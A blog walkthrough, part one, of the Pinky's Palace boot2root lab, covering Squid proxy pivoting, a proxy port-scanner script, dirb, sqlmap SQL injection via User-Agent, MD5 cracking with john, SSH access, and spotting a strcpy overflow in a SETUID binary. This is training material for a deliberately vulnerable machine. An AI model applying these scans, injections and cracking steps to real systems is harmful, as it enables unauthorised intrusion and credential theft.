Pinky’s Palace is an easy/intermediate boot2root machine I have been working on in the last 3 days. It definitely was several orders of magnitude harder than Toppo and also quite harder than MrRobot.

The reason why I divided it in two parts is because at the moment I got local privilege and I need a bit more work to escalate to root.

Let’s start from the beginning.

Pinky's Palace

Port scan result:

root@kali:~# nmap -sSVC -p-
Starting Nmap 7.70 (" ) at 2018-12-01 18:04 EET
Nmap scan report for pinkys-palace.home (
Host is up (0.0013s latency).
Not shown: 65532 closed ports
8080/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: 403 Forbidden
31337/tcp open http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
64666/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)
| 256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)
|_ 256 4a:2d:e5:d8:ee:69:61:55:bb:db:af:29:4e:54:52:2f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As we can see there is a webserver instance, running Nginx, a Squid proxy and then SSH bind on a high port. Just browsing to the website gives 503, probably there is some IP based blocking. In order to rule out possibilities (URL based blocking) I tried to bruteforce directories on the website, without luck.

At this point I started looking at the proxy instance. If the proxy is misconfigured, it should allow request to local address, basically it can be used to bypass the IP-based blocking.

For this, I just use curl:

curl -x

Curl successfully prints a website page.

At this point I want to use Squid to portscan the local address, for this I first used a module from Metasploit.

msf auxiliary(scanner/http/squid_pivot_scanning) >; show options

Module options (auxiliary/scanner/http/squid_pivot_scanning):

Name Current Setting Required Description
 ---- --------------- -------- -----------
 CANARY_IP yes The IP to check if the proxy always answers positively; the IP should not respond.
 MANUAL_CHECK true yes Stop the scan if server seems to answer positively to every request
 PORTS 21,80,139,443,445,1433,1521,1723,3389,8080,9100 yes Ports to scan; must be TCP
 Proxies no A proxy chain of format type:host:port[,type:host:port][...]
 RANGE yes IPs to scan through Squid proxy
 RHOSTS yes The target address range or CIDR identifier
 RPORT 80 yes The target port (TCP)
 SSL false no Negotiate SSL/TLS for outgoing connections
 THREADS 1 yes The number of concurrent threads
 VHOST no HTTP server virtual host

msf auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 31337
RPORT => 31337

msf auxiliary(scanner/http/squid_pivot_scanning) > run

[+] [] is alive but 21 is CLOSED
[+] [] is alive but 80 is CLOSED
[*] [] blocked by ACL
[*] [] blocked by ACL
[+] [] is alive but 1433 is CLOSED
[+] [] is alive but 1521 is CLOSED
[+] [] is alive but 1723 is CLOSED
[+] [] is alive but 3389 is CLOSED
[+] [] seems OPEN
[+] [] is alive but 9100 is CLOSED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Well, it works well, but I would need to manually set the ports that I want to check (maybe * works?). Because of this, I quickly put together a simple Python script to achieve the same. Squid is used to query If the error that comes back is ‘connection refused’, then the port is closed. If it is ‘Access denied’ the port is just blocked/filtered. In other cases, the port is open.

import requests

proxy_address = ""
proxy_port = "31337"

target = ""
ports = range(1, 65536)

closed_message = "Connection refused"
acl_message = "Access Denied"

proxy = {
 "http": "%s:%s" % (proxy_address, proxy_port)
open_ports = []
for port in ports:
    response = requests.get("http://%s:%s/" % (target, port), proxies=proxy)
    content = response.text
    if closed_message in content:
        print "[-] Port %s is closed." % port
    elif acl_message in content:
        print "[!] Port %s is filtered." % port
        print "[+] Port %s is open." % port
print "Ports open:"
print open_ports

Running this script finds port 3306 open. This is actually something that it would have been better not to find, since it brought me on a dead path for which I wasted a considerable amount of time.

Querying this port I got a file:

root@kali:~# hexdump -C output 
00000000 62 00 00 00 0a 35 2e 35 2e 35 2d 31 30 2e 31 2e |b....5.5.5-10.1.|
00000010 32 36 2d 4d 61 72 69 61 44 42 2d 30 2b 64 65 62 |26-MariaDB-0+deb|
00000020 39 75 31 00 07 00 00 00 66 2d 49 69 55 4b 5b 66 |9u1.....f-IiUK[f|
00000030 00 ff f7 2d 02 00 3f a0 15 00 00 00 00 00 00 00 |...-..?.........|
00000040 00 00 00 6c 6f 69 40 45 76 43 2d 56 48 47 69 00 |...loi@EvC-VHGi.|
00000050 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 |mysql_native_pas|
00000060 73 77 6f 72 64 00 21 00 00 01 ff 84 04 23 30 38 |sword.!......#08|
00000070 53 30 31 47 6f 74 20 70 61 63 6b 65 74 73 20 6f |S01Got packets o|
00000080 75 74 20 6f 66 20 6f 72 64 65 72                |ut of order|

I can see that there is MySQL running and that is uses password authentication. At this point I try to (ab)use Squid and proxy mysql connection to the local port. I try for this to use socat

socat TCP4-LISTEN:3306,reuseaddr,fork PROXY:,proxyport=31337

The idea was to proxy local tcp port 3306 to the proxy which then should forward to mysqld. It didn’t work, I spent a lot of time, I used a UNIX socket as well for this, but I didn’t manage to make socat work properly.

Lesson 1: Improve in using socat.

Once I hit this wall, I started backtracking and wondering if I missed something. At first, I configured chromium from my workstation to use the proxy

chromium-browser --proxy-server="http="

and I checked the website running on The page was pretty empty and was just saying that there some HTTP server under development. No input, no comments, no robots.txt. I then started bruteforcing the directories here as well. For this purpose, I used dirb tool, which turned out to be my personal favorite.

root@kali:/usr/share/dirb/wordlists# dirb directory-list-2.3-small.txt -p

This found out a directory:


I went to the page and there was a login form with user and password. I tried random values and the form was submitted to login.php but I just got a generic error. I then bruteforced the listtlesecrets-main directory, this time looking for other .php pages.

root@kali:/usr/share/dirb/wordlists# dirb big.txt -p -X .php

DIRB v2.22
By The Dark Raver

START_TIME: Sun Dec 2 20:27:39 2018
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]



---- Scanning URL: ----
+ (CODE:200|SIZE:68)
+ (CODE:200|SIZE:15204393)

END_TIME: Sun Dec 2 20:28:38 2018

I went to the logs.php page and I could see my login attempts with username, password and User-Agent reported.

No much information from my point of view, but at this point I decided to let sqlmap do its job.

root@kali:~/PinkyPalace# sqlmap --proxy --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url --level=5 --risk=3

I run the most sofisticated test (and noisy). This test showed that the User-Agent was vulnerable to time-based Union queries with more than 10 columns. Woah.

At this point I run

root@kali:~/PinkyPalace# sqlmap --proxy --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url --level=5 --risk=3 --dump tables[/bash]

Which shows logs and user tables. I guess one is the one that is dumped by logs.php, the other has the actual users.

root@kali:~/PinkyPalace# sqlmap --proxy --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url --level=5 --risk=3 --dump users[/bash]

It took a lot of time to get this to complete, since the queries are time based. Anyway, sqlmap managed to nicely dump:

[21:25:08] [INFO] recognized possible password hashes in column 'pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:27:03] [INFO] writing hashes to a temporary file '/tmp/sqlmap6FdqU19410/sqlmaphashes-Y_8V0H.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: pinky_sec_db
Table: users
[2 entries]
| uid | pass | user |
| 1 | f543dbfeaf238729831a321c7a68bee4 | pinky | 
| 2 | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage | 

Well done, these are hashes. At this point I try to crack them. I have several password wordlists downloaded. The one that helped was the huge rockyou.txt (130MB).

root@kali:~/PinkyPalace# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 --pot=cracked hash
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
3pinkysaf33pinkysaf3 (?)
1g 0:00:00:02 DONE (2018-12-03 23:51) 0.4032g/s 5783Kp/s 5783Kc/s 10809KC/s 7..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So, it managed to crack the hash for the pinkymanage user –> 3pinkysaf33pinkysaf3

At this point I frist try to put the user and password in the website form, but nothing happens. I then try SSH and it works :)

root@kali:/usr/share/wordlists# ssh pinkymanage@ -p 64666
pinkymanage@'s password:
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 2 04:00:51 2018 from

Boom, I have local privileges. I start looking around. Processes, files, /etc, /var, logs, SETUID, SETGID etc. Usual drill. I do not find absolutely anything interesting. At some point though I get curious and I found another folder inside /var/www/html, right near littlesecrets-main.

pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Feb 2 2018 .
drwxr-xr-x 3 root root 4096 Feb 2 2018 ..
-rw-r--r-- 1 root root 2270 Feb 2 2018 .ultrasecret
-rw-r--r-- 1 root root 99 Feb 2 2018 note.txt

pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat note.txt
Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat .ultrasecret

So, this is a private key. I decode the base64 and save it to file.

cat .ultrasecret | base64 -d >> pinky.key

I try the obvious thing: I checked from /etc/passwd and I saw that there is also pinky user, the same that was also inside the database. I then just try ssh-ing with it using this private key.

root@kali:~/PinkyPalace# ssh pinky@ -i pinky.key -p 64666
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 2 05:54:01 2018 from

It worked. Now, this user does not have root as well, but…

-rwsr-xr-x 1 root root 8880 Feb 2 2018 adminhelper
-rw-r--r-- 1 root root 280 Feb 2 2018 note.txt
pinky@pinkys-palace:~$ cat note.txt
Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :(

There is a SETUID binary. A quick disassembly shows me that it uses strcpy and puts. Both are unsafe functions, so I know that I will have to look for a buffer overflow, but that will be the part 2.

0000000000000813 <main>:
813: 55 push %rbp
814: 48 89 e5 mov %rsp,%rbp
817: 48 83 ec 50 sub $0x50,%rsp
81b: 89 7d bc mov %edi,-0x44(%rbp)
81e: 48 89 75 b0 mov %rsi,-0x50(%rbp)
822: 83 7d bc 02 cmpl $0x2,-0x44(%rbp)
826: 75 26 jne 84e <main+0x3b>
828: 48 8b 45 b0 mov -0x50(%rbp),%rax
82c: 48 83 c0 08 add $0x8,%rax
830: 48 8b 10 mov (%rax),%rdx
833: 48 8d 45 c0 lea -0x40(%rbp),%rax
837: 48 89 d6 mov %rdx,%rsi
83a: 48 89 c7 mov %rax,%rdi
83d: e8 fe fd ff ff callq 640 <strcpy@plt>
842: 48 8d 45 c0 lea -0x40(%rbp),%rax
846: 48 89 c7 mov %rax,%rdi
849: e8 02 fe ff ff callq 650 <puts@plt>
84e: b8 00 00 00 00 mov $0x0,%eax
853: c9 leaveq
854: c3 retq
855: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
85c: 00 00 00
85f: 90 nop

The plan is to grab gdb, the shellcoder handbook as a reference and tomorrow I will just exploit this little binary to spawn a shell. Might be easy, might take some time, but it’s going to be fun.

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.